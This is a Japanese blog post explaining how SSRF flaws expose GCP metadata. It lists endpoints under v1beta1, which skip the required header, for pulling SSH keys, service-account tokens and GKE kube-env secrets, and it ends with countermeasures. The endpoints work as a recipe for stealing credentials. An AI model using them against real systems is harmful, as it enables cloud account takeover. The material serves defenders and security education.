SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例


先日、以下のような記事を見た。

EC2 では、インスタンス内から http://169.254.169.254/ にアクセスすると、そのインスタンスに関する情報が取得できるようになっている。
そのため、SSRF 脆弱性が存在し、レスポンスをユーザーに表示しているような場合には、http://169.254.169.254/latest/meta-data/iam/security-credentials/ にアクセスされることで、AWS のクレデンシャルを不正に取得される。

SSRF についてはここでは解説しない。以下の記事などを参照してほしい。

SSRF は WebHook などを実装する際に作り込みやすく、過去には GitLab や Slack などのサービスでも報告がある。

さて、インスタンス情報やクレデンシャルを取得できるのは EC2 に限った話ではなく、このようなメタデータサービス(という呼び方でいいのだろうか)を提供しているクラウドサービス全般で(GCP や Azure でも)発生する可能性がある。

ここでは、GCP を例に挙げてみる。

GCE

GCE では http://metadata.google.internal/computeMetadata/v1/project/ というエンドポイントにインスタンス内にアクセスすることでプロジェクトの情報を取得できる。
ただし、Metadata-Flavor ヘッダーを付与しなければいけない。そのため、Web アプリケーション上に SSRF 脆弱性が存在していても情報が漏れる可能性は低い。

しかし、v1beta1 のエンドポイントはヘッダーを必要としないため、バイパス可能である。

SSH 公開鍵の取得

SSH 公開鍵の情報は以下のエンドポイントから取得できる。

http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
mrtc0:ssh-rsa AAAABXXXXXXXXXXXXXXXXXXXXXXXXgoogle-ssh {"userName":"mrtc0@ssrf.in","expireOn":"2018-09-05T07:16:40+0000"}
...

アクセストークンを取得する

アクセストークンは以下のエンドポイントから取得できる。

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
{
  "access_token": "XXXXXXXXXXXXXXXXXXX",
  "expires_in": 3394,
  "token_type": "Bearer"
}

以下のエンドポイントにアクセスすることで、そのアクセストークンの権限を調べることができる。もし access_type が read / write だったりすると色々やられてしまう。

$ curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX"
{
 "issued_to": "XXXXXXXXXXXXXXXXXXXXXX",
 "audience": "XXXXXXXXXXXXXXXXXXXXX",
 "scope": "https://www.googleapis.com/auth/trace.append https://www.googleapis.com/auth/service.management.readonly https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/monitoring.write https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_only",
 "expires_in": 3562,
 "access_type": "offline"
}

GKE

GKE の場合は以下のエンドポイントにアクセスすることで Kubernetes にアクセスするための秘密鍵や証明書を取得できる。

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
"ALLOCATE_NODE_CIDRS: \"true\"\nCA_CERT: XXXXXX...

攻撃者は取得した情報を用いて kubectl1 exec などで自由にインスタンスを操作することができる。

ちなみにこの攻撃例は Shopify で実際にあった


対策

EC2 上の AWS CLI で使われている 169.254 について でもあるように iptables などで対象 IP アドレスに制限をかけることが挙げられる。

なお、著名なクラウドサービスでのメタデータサービスの IP アドレスは以下にまとめている。

また、アプリケーションの対策としては 0x7f.1 のような表記でも適切に IP アドレスとして扱ってくれるライブラリを使用してフィルタする方法が挙げられる。
制限する IP アドレスは、上記のようなメタデータサービスの IP アドレスに加えて、内部ネットワークアドレスも指定した方が良い。
注意する点として、過去には Ruby の Resolv::getaddresses127.000.001 のような IP アドレスを適切に扱わないことがあったため、使用する際には手元で確認してみたほうがよい。

こういった言語レベルでの URL パーサーの実装不備 このへんの話については Orange Tsai 氏が Black Hat USA 2017 で発表した資料 が参考になる。

09/06 修正。調べたところ言語レベルの実装不備ではなく、OS の実装次第という話でしたので修正しました。すみませんでした。